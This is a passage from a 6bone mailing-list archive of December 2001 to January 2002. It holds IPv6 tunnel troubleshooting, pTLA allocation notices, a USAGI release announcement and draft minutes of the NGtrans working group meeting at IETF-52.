> <address type=\"dn\">vguideparis.tsps1.freenet6.net</address>\n
> <router>\n   <prefix
> length=\"48\">3ffe:0b80:05ad:0000:0000:0000:0000:0000</prefix>\n
> </router>\n </client>\n</tunnel>\n", 504) = 504
>
>
> First works well, the other one not !!!
>
> the version is exactly the same, here are md5sums from binaries and
> diffs from config files:
>
> root@alter:~# md5sum `which tspc`
> be326b0711123b96ccbd4bef9beda802  /usr/sbin/tspc
>
> root@camelot:~# md5sum `which tspc`
> be326b0711123b96ccbd4bef9beda802  /usr/sbin/tspc
>
> root@alter:~# md5sum `locate linux.sh`
> f40f92e207b087a06a5f670c398a1a4b  /usr/lib/freenet6/template/linux.sh
>
> root@camelot:~# md5sum `locate linux.sh`
> f40f92e207b087a06a5f670c398a1a4b  /usr/lib/freenet6/template/linux.sh
>
> root@camelot:~# diff /etc/tspc.conf tspc.conf
> 11c11
> < if_prefix=eth0
> ---
>> if_prefix=eth1
> 13,14c13,14
> < userid=[snip]
> < passwd=[snip]
> ---
>> userid=[snip]
>> passwd=[snip]
>
> It seems to me a little "Magic, more magic !!"
>
> If someone's got an idea... I'm very very very interested :)
>
> Cheers,
> --
>                Helios de Creisquer      <helios@balios.org>
> http://www.tuxfamily.org/                        <creis@tuxfamily.org>
> http://www.vhffs.org/      +33 (0)6 70 71 20 29      <creis@vhffs.org>
> http://www.gnu.org/                                    <creis@gnu.org>
> GPG(1024D/96EB1C44): FB11 8B80 4D86 D9C2 DE0C 11D7 2FA8 A5CC 96EB 1C44
>



------------------------------------------
Marc Blanchet
Viagénie
tel: +1-418-656-9254x225

------------------------------------------
http://www.freenet6.net: IPv6 connectivity
------------------------------------------
http://www.normos.org: IETF(RFC,draft),
  IANA,W3C,... standards.
------------------------------------------

From 6bone-owner  Mon Dec 24 13:59:50 2001
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I'm very, very new at this! Let me qualify that statement. I'm currently  
studying for my CCNA. I just finished the first year, and am quite  
comfortable with subnetting. Until I ran into IPv6. I have a 6Bone tunnel,  
that I would just like to experiment with, by setting it up for operation by  
some close friends here in San Antonio. I am willing to make it available to  
anyone in the IPv6 research group, anywhere! 
 
My major point is strictly this. How does a subnetted Hex IPv6 network	
number look? I'm lost somewhere in between trying to first convert the hex  
to binary, and trying to make it represent something I'm familar with. My  
machine is, 64.194.105.181, as far as the tunnel is concerned. But I'm	
beginning to see that a lot of this is just over my head, at this point.  
Hence, my plea for help! 
 
My 'equipment' is: a 'DirecTV' ADSL box, with a LinkSys Router behind it,  
and about 4 PC's connected. My next project, hopefully, is to become an ISP  
to my friends. But, that's a future thing. 
 
Anyway you can help, will be greatly appreciated.



From 6bone-owner  Mon Dec 24 16:07:17 2001
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Date: Mon, 24 Dec 2001 16:07:55 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8300::/28 allocated to CNIT
Cc: Gianluca Mazzini <g.mazzini@ieee.org>, Bill Manning <bmanning@ISI.EDU>
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CNIT has been allocated pTLA 3FFE:8300::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?CNIT>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Thu Dec 27 13:31:02 2001
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: OT:Mail loop?
Date: Sun, 23 Dec 2001 19:03:26 -0500
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 dannylau@hkicable.com
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Hello from Gregg C Levine normally with Jedi Knight Computers
I just received a message from the list server, that while welcome, was
dated for Wednesday. Last week. Is there anyone else who has received
just such a message? It was talking about the issues regarding
Microsoft, and its efforts to enter IPv6.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )





From 6bone-owner  Sun Dec 30 15:25:40 2001
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Date: Sun, 30 Dec 2001 18:26:23 -0500 (EST)
From: "William F. Maton" <wmaton@ryouko.dgim.crc.ca>
Reply-To: wmaton@ryouko.dgim.crc.ca
To: 6bone@ISI.EDU
Subject: Yet another IPv6 newsfeed
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To anyone interested in getting IPv6 news server peering:

I've now got a new newserver running IPv6, being feed by it's bigger
brother.  I have ca.*, fj.* and the Big 8 to offer.  Prefer peering over
CA*Net 3 and it's peered networks[*].  Please send email if you're
interested....

wfms

[*] http://nic.crc.ca/x-bin/c3routes.pl to check if your route is listed.


From 6bone-owner  Tue Jan  1 05:42:55 2002
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A Happy New Year!

We are glad that we can announce the 3rd STABLE RELEASE of USAGI
(UniverSAl playGround for Ipv6)[1] product on January 1st, 2002. 
On this release, we provide ipv6 enhanced kernel (based on 
linux-2.2.20 and/or linux-2.4.13) and basic IPv6 libraries and
applications.

The improved features are listed below.

	- ICMPv6 Node Information Queries
        - Privacy Extensions (RFC 3041)(kernel-2.4 only)
        - IPv6 khttpd
        - Better source address selection
        - Per-device statistics for SNMP
        - IPv4/IPv6 socket binding on the same port
        - Dropping IPv6 packets with malicious address(es)
        - Enabling default route when IPv6 forwarding is enabled
        - Improving SO_REUSEADDR behavior
        - Fixing bugs in NDP(Neighbor Discovery Protocol)
        - Fixing bugs in Stateless Address Auto-configuration
        - Catching up and implementing RFC2553 / RFC2553bis APIs
	  including IPV6_V6ONLY socket option
        - Catching up and implementing RFC2292 / RFC2292bis APIs
        - Making many basic applications IPv6 ready.

You can get our source codes from the following URL.
	<ftp://ftp.linux-ipv6.org/pub/usagi/stable/kit/>

We also provide our code in the form divided into the patch
against the main-line kernel and the tool.
	<ftp://ftp.linux-ipv6.org/pub/usagi/stable/splitted/>

We plan to provide the binary packages for some distributions.
They will appear under
	<ftp://ftp.linux-ipv6.org/pub/usagi/stable/packages/>
within several weeks.


We announce latest information via web.  Please check
our web site <http://www.linux-ipv6.org>.

We also manage the mailing list for USAGI users. 
If you have questions, please join the mailing list.
Comments and advises are also welcome on that mailing list.  
Please visit <http://www.linux-ipv6.org/ml/> for further
information.


Thanks.


About USAGI Project:

The USAGI Project is managed by volunteers and aims to provide better
IPv6 environment on Linux freely.  We are tightly collaborating with 
WIDE Project[2], KAME Project[3] and TAHI Project[4], and trying 
improving Linux kernel, IPv6 related libraries and IPv6 applications.  
Our products are released every two weeks and stable release several 
times a year.  Please check our web site <http://www.linux-ipv6.org>
for the latest detailed information.


References:

	[1] USAGI Project	<http://www.linux-ipv6.org>
	[2] WIDE Project	<http://www.wide.ad.jp>
	[3] KAME Project	<http://www.kame.net>
	[4] TAHI Project	<http://www.tahi.org>

-- 
USAGI Project <http://www.linux-ipv6.org>

From 6bone-owner  Wed Jan  2 08:41:38 2002
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Date: Wed, 02 Jan 2002 08:42:11 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8310::/28 allocated to MICROSOFT
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MICROSOFT has been allocated pTLA 3FFE:8310::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?MICROSOFT>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Wed Jan  2 09:03:58 2002
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Date: Wed, 02 Jan 2002 09:02:28 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 2nd draft minutes of NGtrans WG meeting, Salt Lake City,
  IETF-52
Cc: Alain Durand <Alain.Durand@sun.com>, Tony Hain <tony@tndh.net>,
        Bob Fink <fink@es.net>
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NGtrans Folk,

Here is the 2nd version of the draft minutes of the ngtrans meeting in Salt 
Lake City. Please send comments and corrections to me or the list by Friday 
so I can submit the final minutes to the secretariat.

Thanks,

Bob

=============================
Minutes of NGtrans WG Meeting
13-14 December 2001
London IETF-51

=======
Chairs:
Alain Durand <Alain.Durand@eng.sun.com>
Bob Fink <fink@es.net>
Tony Hain <tony@tndh.net>

Alain Durand and Tony Hain chaired the meeting. Bob Fink took the minutes. 
Attendance was just over 150.

===========================
Administrative information:

Discussion ngtrans: <mailto: ngtrans@sunroof.eng.sun.com>
Subscribe ngtrans: <mailto: majordomo@sunroof.eng.sun.com> "subscribe ngtrans"
Archive ngtrans: <http://www.wcug.wwu.edu/lists/ngtrans/>
Web site: <http://www.6bone.net/ngtrans>

Discussion 6bone: <mailto: 6bone@isi.edu>
Subscribe 6bone: <mailto: majordomo@isi.edu> "subscribe 6bone"
Archive 6bone: <http://www.wcug.wwu.edu/lists/6bone/>
Web site: <http://www.6bone.net>

======
Agenda
---
Thursday, 13 December, 1530-1730
-
Agenda Bashing, Chairs - 2 minutes

WG Status, Bob Fink - 3 minutes
<http://www.6bone.net/ngtrans/ngtrans_project-status.html>

Survey of IPv4 Addresses in Currently Deployed IETF Standards, Phil Nesser 
15-30 mins
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-ipv4survey-01.txt>

NGtrans IPv6 DNS operational requirements and roadmap, Alain Durand - 15 mins
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-dns-ops-req-03.txt>

Plans for transition from ip6.int to ip6.arpa - Alain Durand 5 mins
<no draft published yet>

IPv6 SMTP operational requirements, Itojun - 15 mins
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-ipv6-smtp-requirement-04.txt>

Connecting IPv6 Islands across IPv4 Clouds with BGP, Dirk Oooms - 5-10 mins
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-bgp-tunnel-03.txt>

Dual Stack Transition Mechanism (DSTM), Laurent Toutain - 5 mins
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-dstm-05.txt>

Intra-Site Automatic Tunnel Addressing Protocol (ISATAP), Fred Templin - 5 mins
<http://www.6bone.net/ngtrans/misc/draft-ietf-ngtrans-isatap-02.txt>

An IPv6/IPv4 Multicast Translator based on IGMP/MLD Proxying (mtp), Kazuaki 
Tsuchiya 5 mins
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-mtp-00.txt>

Dual Stack Hosts using "Bump-in-the-API" (BIA). Myung-Ki Shin 2 mins
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-bia-01.txt>

Application Aspects of IPv6 Transition, Myung-Ki Shin 5 mins
<http://www.ietf.org/internet-drafts/draft-shin-ngtrans-application-transition-00.txt>

Dual Stack deployment using DSTM and neighbour discovery, Gerard Gastaud 5 mins
<http://www.ietf.org/internet-drafts/draft-bereski-ngtrans-nd-dstm-00.txt>

Multicast extensions to dual stack hosts using the "Bump-In-the-Stack" 
Technique (mBIS), Kazuaki Tsuchiya 5 mins
<http://www.ietf.org/internet-drafts/draft-tsuchiya-mbis-00.txt>

IPv6 Traffic Engineering Tunnel, Hiroki Ishibashi - 5 mins (if time permits)
<http://www.ietf.org/internet-drafts/draft-ishii-ipv6-te-tunnel-00.txt>

---
Friday, December 14 at 0900-1000
-
Discussion of new ngtrans charter and future ngtrans work - chairs, 1 hour
<no ID, but an email to list was sent 1-week prior to meeting>

================================
Thursday, 13 December, 1530-1730

Agenda bashing

There were no changes to the agenda listed above

===
NGtrans Project Status - Bob Fink

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/ngtrans-status.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/ngtrans-status.pdf>

Bob presented the current status of NGtrans projects (see slides above). 
For current status of projects, look at:

<http://www.6bone.net/ngtrans/ngtrans_project-status.html>

Bob noted that there were numerous drafts either expired in the ID 
directory and/or in an unknown state (i.e., not progressing), and that in 
the context of reevaluating the directions of ngtrans authors can expect to 
be contacted by the chairs to determine the future of these projects.

===
Survey of IPv4 Addresses in Currently Deployed IETF Standards, Phil Nesser
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-ipv4survey-01.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/ipv4-addresses-ietf-stds.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/ipv4-addresses-ietf-stds.pdf>

Phil presented a history and overview of his IPv4survey work

• Work Started in late 1999
­ First draft (-00) in May 2000
­ Second (current) draft (-01) in August 2001
• Goal of the project is to review all of the current IETF Standards
   for IPv4 assumptions to make sure a transition to IPv6 as smooth as possible

There are:

• Full Standards (68 RFCS)
• Draft Standards (65 RFCS)
• Proposed Standards (611 RFCS)
• Experimental (150 RFCS)

• Most of the work has been done as an individual effort
­ Reading Each of the 894 RFCS
­ About 25,000 pages of text
• PLEASE LOOK AT THE DRAFT FOR ANY RFCS THAT YOU HAVE KNOWLEDGE OF AND COMMENT

Current Results:

• The ­01 draft was concerned with finding RFCS with problems
­ Full Standards:  26 RFCS (38.25%)
­ Draft Standards:  19 RFCS (29.23%)
­ Proposed Standards:  112 RFCS (18.33%)
­ Experimental:  23 RFCS (15.33%)
­   Total:   180 RFCS (20.13%)

• Each RFC was examined independently of all others
• Technique purposely chosen to give more false positives rather than
   accidentally missing something
• Helped reduce the scope of the individual investigation
• In the middle of reviewing the RFCS that came up positive in the
   first pass to see what problems are already fixed in later RFCS
• It is clear that many issues are already resolved, are in work,
   or can be fixed by registering a parameter with the IANA

Next Steps:

• Finish review of RFCS identified in the first pass to finalize a
   list of problem child RFCS that need some updates
• At the request of the IETF chair the project should also include a
   discussion of protocols that assume the long term stability of addresses
• Produce an ­02 draft that summarizes the final results of the
   review later this month or early next month
• Produce a series of recommendations for any RFCS that still
   have problems and include a discussion on the long term stability of
   address in an ­03 draft in early 2002
• Go to Last Call after the ­03 draft is published

How You Can Help:

• READ THE DRAFT AND COMMENT
• Think about the long term stability of addresses issue and provide input
• READ THE DRAFT AND COMMENT
• … and in case it isn't clear, READ THE DRAFT AND COMMENT
­ It's 120 pages of gripping narrative, enjoy!

Francis Dupont asked if IPv6 over FDDI was fixed; did Phil get the comment. 
Phil did.

Phil has a big problem trying to understand what protocols assume long term 
address stability.

Keith Moore felt that there is an unreasonable expectation that there is 
not a long term address stability requirement, thus this should be 
discussed at another place as a major architectural issue as he believes 
there is often a requirement for long term address stability. Phil noted 
this and pointed out that his context is just to note the occurrence of these.

Phil said that by early 2002 he will have a -03 with recommendation for 
RFCs that have a problem. Then the draft can go to last call.

Brian Carpenter congratulated Phil on his efforts, and noted that this is a 
real list of changes we need to make to real software. He also asked that 
everyone read and comment on the draft.

Keith Moore noted that the normal editing cycle may not be best place to 
handle this process, and that maybe putting up a web page would help. It 
was also noted that the ID editor might be able to help on this.

===
NGtrans IPv6 DNS operational requirements and roadmap, Alain Durand
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-dns-ops-req-03.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/IPv6-DNS-integration.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/IPv6-DNS-integration.pdf>

Alain presented the current status of plans to provide for successful 
operation of the DNS in a  mixed environment of IPv4-only, IPv6-only and 
dual-stacks networks.

• 2 approaches
­ Let DNS break if it has to break
­ Make sure DNS works.
• Requirement document made by NGtrans, was presented in DNSext and DNSop.
• If the requirements are accepted, some work needs to be done in DNSext.

Architectural principles:

• The public DNS has a unique root valid for IPv4 & IPv6 (derived from 
RFC2826).
• DNS is an IP version agnostic application.
­ Any node (v4, v6, dual stack) should be able to query any record in any zone
­ Queries should get the same answers regardless of the IP version used 
during the process.
   (Note: this does not apply to additional sections)
• The burden has to be placed on new IPv6 systems

Consequences:

• A bridging system is needed
• Bridging does not need to be symmetric
• Any change to the existing IPv4 resolvers is out of scope.
• Bridging v4 to v6 is technically very difficult. However,
   It can be achieved by administrative procedures:
­ Mandate at least one v4 server per zone
­ Can be achieved by contracted 3rd party dual stack servers
• Bridging v6 to v4 requires something new.

Bridging requirements:

(v4 to v6 or v6 to v4)
• Any change to existing IPv4 resolvers is out of scope.
• The bridging system is required to have good scaling properties.
• The bridging system discovery is required to have good scaling properties.
• All zones should be reachable through the bridging system.
• Security is not an option in the IETF, that is it is mandatory.

DNSext comments/questions:

• Designing such a bridging system is not easy, may be a huge kludge.
• Draft-durand-dns-proxy-00.txt is an attempt at a possible solution.
• There might be other solutions.
• DNSext should be the place to design it.

Steve Deering asked if truncation of packets was an issue for getting the 
same answer in either transport. It was noted that this is not a problem, 
that just the main answer needs to be the same, not the packet size.

There were concerns expressed of bridging system scalability and complexity.

Steve Deering asked that if DNS was to be IP agnostic, what is an IPv6 
zone. Alain noted that this meant a DNS zone available only over IPv6 
transport.

Keith Moore asked why not an approach with no scaling problems, like every 
site having a resolver.

Perry Metzger noted that one could modify BIND to solve this.

Alain will continue with these efforts, with a strong focus on DNS folks 
who know what the issues are being involved in the solution.

===
Plans for transition from ip6.int to ip6.arpa - Alain Durand 5 mins
<no draft published yet>

SLIDES: none

Alain spoke briefly on planning now underway for a transition from ip6.int 
to ip6.arpa. He noted that how to make delegations were a registry problem, 
not ours. The harder problem is that there are lots of existing stub 
resolvers hardwired to ip6.int.

There are a few folk now working on problem with two solutions under study. 
Experiments with the approaches, and drafts describing the approaches are 
soon to come, so stay tuned.

===
IPv6 SMTP operational requirements, Itojun & Alain Durand - 15 mins
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-ipv6-smtp-requirement-04.txt>

SLIDES: full content is included below

Itojun presented the history of development of his ipvt smtp requirements 
draft:

   03 draft completed WG last call for informational
   Area director suggested a review by SMTP-related mailing lists
   04 draft submitted to reflect comments
   another comment received (not sure if it was for 03 or 04)
   WG chair (alain) suggested changes in direction so this time slot

Outline of draft:

   Operational requirements for IPv6 SMTP, and IPv6 DNS MX records
   Goal: stable email transport in IPv6/v4 dual stack world
  	Similar content presented by Kazu, at IETFxx

   Outgoing: be careful looking up all MX/A/AAAAs
   Incoming: configure MX right, be sure to keep reachability among servers

   Widely practiced by existing IPv6-ready MTAs
   because it is a natural extension to IPv4 SMTP behavior


   IPv6 MX lookup (outgoing)

     Same, but a bit more complicated

     email to foo@example.org

     Lookup example.org
       MX - use it, based on preference (then A/AAAA)
       A/AAAA - use it
       CNAME - resolve till get to MX/A/AAAA

     Be sure to try all available As and AAAAs
     SMTP failure handling (4xx or 5xx) complicates the story

example.org.            IN MX   1  mx1.example.org.
                         IN MX   10 mx10.example.org.
mx1.example.org.        IN A    1.0.0.1          ; IPv4/v6 dual stack
                         IN AAAA 3ffe:501:ffff::1
mx10.example.org.       IN AAAA 3ffe:501:ffff::2 ; IPv6 only

     MX for dual stack sites (incoming)

       Be sure to allow emails to get delivered to the final email server

       If possible, make the most preferred MX a dual stack node

; easy and good config
easy.com.	IN MX 1  v4only.easy.com.
easy.com.	IN MX 10 dualstack.easy.com.
; good config
good.com.	IN MX 1  dualstack.good.com.
good.com.	IN MX 10 v4only.good.com.
; bad config
bad.com.	IN MX 1  v4only.bad.com.
bad.com.	IN MX 10 v6only.bad.com.

     Outgoing from IPv6-only site to IPv4-only site?

       THIS PART IS NOT IN THE DRAFT.
         Just like last-resort relay rule for bitnet in sendmail.cf, this 
is outside of the protocol document
       Make the server dual-stack
       Use dualstack SMTP relay server in ISP
       Purchase translation service from ISP

  # sendmail.cf
  # Smart relay host
  DSdualstackrelay.isp.com

     MX for IPv4/v6-only sites? (incoming)

       THIS PART IS NOT IN THE DRAFT.
         Not a protocol issue
       Make the server dual-stack
       Purchase SMTP relaying service from ISP
       Purchase translation service from ISP

; rely upon ISP relay
v6only.com.	IN MX 1  mail.v6only.com.
v6only.com.	IN MX 10 dualstackrelay.isp.com.
%center, newimage -yscrzoom 40 "relayconfig.eps"

Itojun then outlined his discussions issues

   How can I go forward with the document?

   How far do we want to document?  How to document?
     updates to RFC2821 only, wrt IPv4/v6 address manipulation
     some more details on MX setups <--- current
     much more detail in operation
       SMTP servers setup, interactions with translators, etc

Alain said that he was concerned about the title which is at odds with a 
goal of stable transport in dual stack world, thus he suggested to change 
title to only be specific to Itojun's draft goals, then start work on 
greater issue of entire transition of SMTP.

Keith Moore recommended that work be done elsewhere, i.e., in mail 
community, as there is lots of subtlety in correct handling of SMTP 
*failure* conditions, thus needs to be done by experts (probably in the 
apps area).

Christian Huitema felt that Keith was right, that the draft is fine but 
only looks at one problem. He noted that smtp is not the only app that has 
these problems.

Keith Moore emphasized that he wants to get IETF people outside of ngtrans 
involved, and this is good motivation for that.

Alain will work with Itojun on the renaming and how to proceed with other 
work in the SMTP community.

===
Connecting IPv6 Islands across IPv4 Clouds with BGP, Dirk Oooms
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-bgp-tunnel-03.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/bgp-tunnel.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/bgp-tunnel.pdf>

Dirk noted that there were two interpretations of the previous draft:

• MP-BGP/TCP/IPv4
   ­ includes implicit automatic tunnelling method
   ­ MP-BGP advertises an IPv4 BGP next hop (encoded as IPv4-mapped IPv6 
address)
   ­ IPv6 data encapsulated in IPv4, MPLS, ...

• MP-BGP/TCP/IPv6
   ­ uses existing ngtrans method
   ­ MP-BGP advertises an IPv6 BGP next hop (address matches the used 
ngtrans mechanism)
   ­ IPv6 data encapsulated in IPv4 (and if desired subsequently in e.g. MPLS)


The new draft has been changed to explain the two approaches explicitly.

The applicability is:

• ISP familiar with BGP (and possibly already offering VPN services) that
   wants to offer native IPv6 services without wanting to upgrade its backbone

• ISP only needs to upgrade (some of) its PE routers

What's next?:

• Applicability statement will be added
• Earlier it was agreed to go for informational:
  - Most of it is informational
  - But address encoding in "IPv4 BGP next hop" approach needs to be
    standardized to assure interoperability => move to standards track
• Ready for last call after update?

Tony said we cannot decide here about the possibility of changing to 
standards track, so this will be taken offline.

===
Dual Stack Transition Mechanism (DSTM), Laurent Toutain
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-dstm-05.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/dstm.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/dstm.pdf>

Major Change
• Annex lists some ways to configure interfaces:
  - Manual, RPCv6, DHCPv6
  - Allow 3G to specify its own protocol ?

• Don't mandate an address allocation mechanism
  - One document describing DSTM
  - Several documents to define address allocation and mapping.
  - Common to other ngtrans protocols (SIIT, Tunnel Broker)

• Issue ASAP new drafts and be ready for last call

Alain note that he needs to see how the new separated drafts look to decide 
how to progress draft, and that he was pleased with this new direction.

===
Intra-Site Automatic Tunnel Addressing Protocol (ISATAP), Fred Templin
<http://www.6bone.net/ngtrans/misc/draft-ietf-ngtrans-isatap-02.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/isatap.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/isatap.pdf>

Fred reported on ISATAP Status

• draft-ietf-ngtrans-isatap-02.txt published
• "ISATAP Issues" message posted to mailing list
• Linux ISATAP implementation announced. HOWTO at:
   v6web.litech.org/isatap/

Experimentation encouraged!
(Thanks Nathan Lutchansky and Yoshifuji Hideaki!)


IPv4 anycast vs. DNS w/multiple RR's ­ Author prefers anycast:

• IPv4 anycast is a *configuration option*;
   NOT a feature of IPv4 addressing i.e. ANY topologically-correct
   IPv4 prefix can be used for IPv4 anycast use within the site:
   - allocate IANA prefix/use existing IANA prefix for easy configuration 
(vote?)
   - Site administrators can override with DNS entry (single RR); static 
config if desired

IPv4 Anycast vs. DNS

• v4anycast allows hosts to operate exactly as RFC 2461, section 6.3:
  - Default router *lists* constructed
  - Redirects; other ND features work as per 2461

• v4anycast provides easy security check (i.e. only accept RAs from v4anycast)

Router solicitation w/Anycast

• ISATAP host sends RS with:
v6_src=FE80::0:5EFE:V4ADDR_HOST
v6_dst=FF02::2
v4_src=V4ADDR_HOST
v4_dst=V4ANYCAST

• ISATAP Router sends RA with:
v6_src=FE80::0:5EFE:V4ADDR_RTR <= works w/2461
v6_dst=FE80::0:5EFE:V4ADDR_HOST
v4_src=V4ADDR_ISATAP (note: corrected per F. Dupont)
v4_dst=V4ADDR_HOST

Router solicitation interval

• RFC 2461, section 6.3.7 gives list of acceptable reasons for hosts to 
re-issue RSs.
   One says: "- the host re-attaches to a link after being detached for 
SOME TIME"

Author's recommendation for ISATAP:

• Host deems itself to be detached from the ISATAP interface immediately after
   receiving solicited RA (i.e. expects to NOT receive unsolicited RA's)
• Host sets "SOME TIME" == Router Lifetime/2, for some Router Lifetime in 
default router list.
• Is RFC 2461 language needed? Suggestion, "A link should NOT deem itself to be
   detached arbitrarily; only if it KNOWS it cannot receive unsolicited RAs"

Security

• Source address spoofing for ISATAP peers:
   If v4_src != embedded V4ADDR in v6_src …

• Source address spoofing for forwarded messages:
   If v4_src != embedded V4ADDR in reverse routing lookup for v6_src …

• Reverse routing lookup trust based on v4_src=v4anycast in RAs

Open Issues Since London

• When to deprecate ISATAP address?
  - Old answer: when native IPv6 Rtadv's heard
  - New answer: when native Rtadv's heard AND ISATAP interface usage drops 
below some threshold
  - NEWER ANSWER: make it work the same as RFC 2462, section 5.5.4 ­ 
Address Lifetime Expiry

• Will ISATAP addresses be preferred over native IPv6 addresses by longest 
prefix-match?
  - No ­ destination ordering will fix this (already addressed in 
source/destination selection draft)

NAT Clarifications:

• Will ISATAP work on the private network side of a NAT?
  - Yes!

• Will ISATAP work *across* NAT?
  - NO - NON-GOAL!

• Other NGTRANS works address NAT traversal

• ISATAP is complementary to these


Fred wanted a straw vote on use of anycast prefix. Alain wanted to take 
this issue to the mail list.

Jim Bound wantd to support authors recommendation.

===
An IPv6/IPv4 Multicast Translator based on IGMP/MLD Proxying (mtp), Kazuaki 
Tsuchiya
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-mtp-00.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/mtp.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/mtp.pdf>


Kazuaki took a review of MAGMA (multicast specialists) yesterday.

• The effectiveness of MTP was acknowledged by MAGMA.

• MAGMA indicated that a few points remained to make clear.

It was decided to go on with discussion on these on the mail list.

===
Dual Stack Hosts using "Bump-in-the-API" (BIA). Myung-Ki Shin
<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-bia-01.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/bia.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/bia.pdf>

Myung-Ki covered changes since IETF-51:

• Published 01 version <draft-ietf-ngtrans-bia-01.txt>

• Editorial changes
  - Applicability statements section
  - Disclaimers section

• Added API function list intercepted by BIA module [Appendix]


Open Issue:

• Problem
   - A client node running BIA trying to contact a dual stack node on a
    port number that is only associated to an IPv4 application.

• There are 2 approaches
   - 1- the client node should cycle through all the addresses and end up 
trying the IPv4 one
   - 2- BIA should do the work.

* It is not clear at this time which behavior is desirable so we need to 
get feedback from experimentation.

Next Steps:

• Go to wg last call
  - We propose to publish the draft with experimental status to give it
    wide circulation and ask for implementation feedback.

• Once feedback will have determined which behavior is desirable
   (it may very well be application dependant), we should republish
   the draft with Informational status.

===
Application Aspects of IPv6 Transition, Myung-Ki Shin
<http://www.ietf.org/internet-drafts/draft-shin-ngtrans-application-transition-00.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/bia.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/bia.pdf>

Why this draft?

• As IPv6 is deployed, there are some problems that the application 
developers and the administrators face.

• This draft clarifies the problems occurred in transition periods between 
IPv4 applications and IPv6 applications.

What is problem ?

• Dual stack host does not mean having both IPv4 and IPv6 applications.

• We cannot know the version of peer application only by DNS name resolving.

• We have three types of IPv6-enabled applications.
  - IPv4+BIA
  - IPv6 native
  - Both IPv4 and IPv6 support

• Application selection problem
  - System administrator can be confused by various combinations of 
application versions and Ngtrans mechanisms.

Next Steps

• We need consensus on these problem statements.
• Are there any other problems or issues for application transition now, 
and in the future ?

• Do we need guidelines for application transition ?
  - This draft will propose guidelines to implement and choose the
    suitable application under the various current transition environments.

• Become a ngtrans project.

Brian Zill commented that this needs to be a living document as it could be 
years before a polished and finished document can be delivered. He felt 
this is important work, but cannot be done quickly.

Tony and Alain noted that this is a project that at least needs 
coordination with the Applications area, so the chairs will interact with 
those area directors to see what works.

===
Dual Stack deployment using DSTM and neighbour discovery, Gerard Gastaud
<http://www.ietf.org/internet-drafts/draft-bereski-ngtrans-nd-dstm-00.txt>

SLIDES:
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/nd-dstm.ppt>
<http://www.6bone.net/ngtrans/IETF-52-SaltLakeCity/nd-dstm.pdf>

Gerard presented ND-DSTM for consideration as an ngtrans project. He noted 
that DSTM is a powerful and useful element in the NGTRANS tool box for both 
mobile and enterprise environments.

Though DSTM has been associated with DHCP, which has been delayed, 
something is needed. ND-DSTM uses IPv6 neighbour discovery [ND] to manage 
IPv4 address allocation. The draft show how a border gateway using 
extensions to ND can manage this allocation process.


A Dual Stacked Host (DS-H) starts a communication with a v4 host in a 
remote domain according to DSTM.

When DS-H needs it, it requests an IPv4 address of the DSTM router by means 
of an "RS"" message.

The DSTM router assigns an IPv4 address to the DSH by means of  an"RA" message.

